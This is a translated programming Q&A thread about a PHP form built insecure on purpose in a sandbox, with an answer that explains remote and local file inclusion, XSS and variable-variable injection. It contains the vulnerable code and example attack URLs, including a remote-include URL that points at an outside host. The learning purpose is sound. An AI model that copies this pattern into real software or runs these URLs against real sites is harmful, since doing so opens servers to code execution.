1

我已经设置了一个沙箱并尝试运行漏洞利用,以便更好地了解如何更好地防御它们。当我运行以下命令时,该过程因正确原因而失败。但是我不确定,因为我找不到很多“如何编写适当的漏洞利用”。这是我的代码,以下是失败消息。任何指导都会很棒。

 //unform.php (unprotected form)
 <html>
 <head>
 <title>Try An Exploit</title>
 <?php
 if (!empty($_GET)){
    foreach($_GET as $key=>$value){
    ${$key} = $value;
    }
}

 //no sanitizer here.
 echo $key;
 include($value);
 ?>
 </head>
 <body>
 <h1>This Is Bad</h1>

 <form action="#" method="get">
<select name="COLOR">
       <option value="red">red</option>
       <option value="blue">blue</option>
    </select>
<input type="submit" value="Kick Me" />
 </form>
 </body>

利用脚本,简单的东西:

 exploit.php
 <?php
   $somevar = "This is just a string";
   echo $somevar;
 ?>

坏人会在他们的浏览器地址栏中硬编码以下内容:

 http://www.sandbox.com/path/to/unform.php?COLOR=http://www.remoteserv.com/exploit.php

尝试加载地址时输出到浏览器:

 Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0

是这样吗?或者还有其他我应该注意的技术吗?
谢谢

4

1 回答 1

3

看起来有问题的漏洞是执行任意脚本。由于某些 php.ini 设置,该脚本不容易受到远程脚本的任意执行的影响——但它容易受到本地脚本的任意执行的影响。

任意执行远程脚本

默认情况下,allow_url_includephp.ini 指令设置为0- 阻止您包含远程文件,如下所示:

include("http://www.remoteserv.com/exploit.php");

...或同样如此:

$myVar = "http://www.remoteserv.com/exploit.php";
include($myVar);

有关更多信息,请参阅运行时配置 - 文件系统和流配置选项使用 php.net 上的远程脚本

从技术上讲,您仍然容易受到攻击,因为用户可以提供导致错误的输入 - 实际上您应该清理该输入 - 但您不容易受到远程脚本的任意执行的攻击。

任意执行本地脚本

但是 php.ini 指令并不能保护您免受本地脚本执行的影响。攻击者可以使用类似...的 URL

http://www.sandbox.com/path/to/unform.php?wtv=/tmp/SomeFile.php

...并且该文件将被包含在内。它可能是非 PHP 文件(导致错误),也可能是攻击者放置在您服务器上的文件 - 通过文件上传或共享主机环境

为了进一步阅读,《Essential PHP Security》一书的第 5 章完全专注于include的安全性。

其他

容易受到XSS的攻击:

echo $key;

输出时$key- 这是输入 - 您应该以某种方式对输出进行编码,可能使用htmlentities(...).

您还使用使用输入来操作变量:

${$key} = $value;

...这是一个坏主意。

于 2012-09-28T20:10:57.247 回答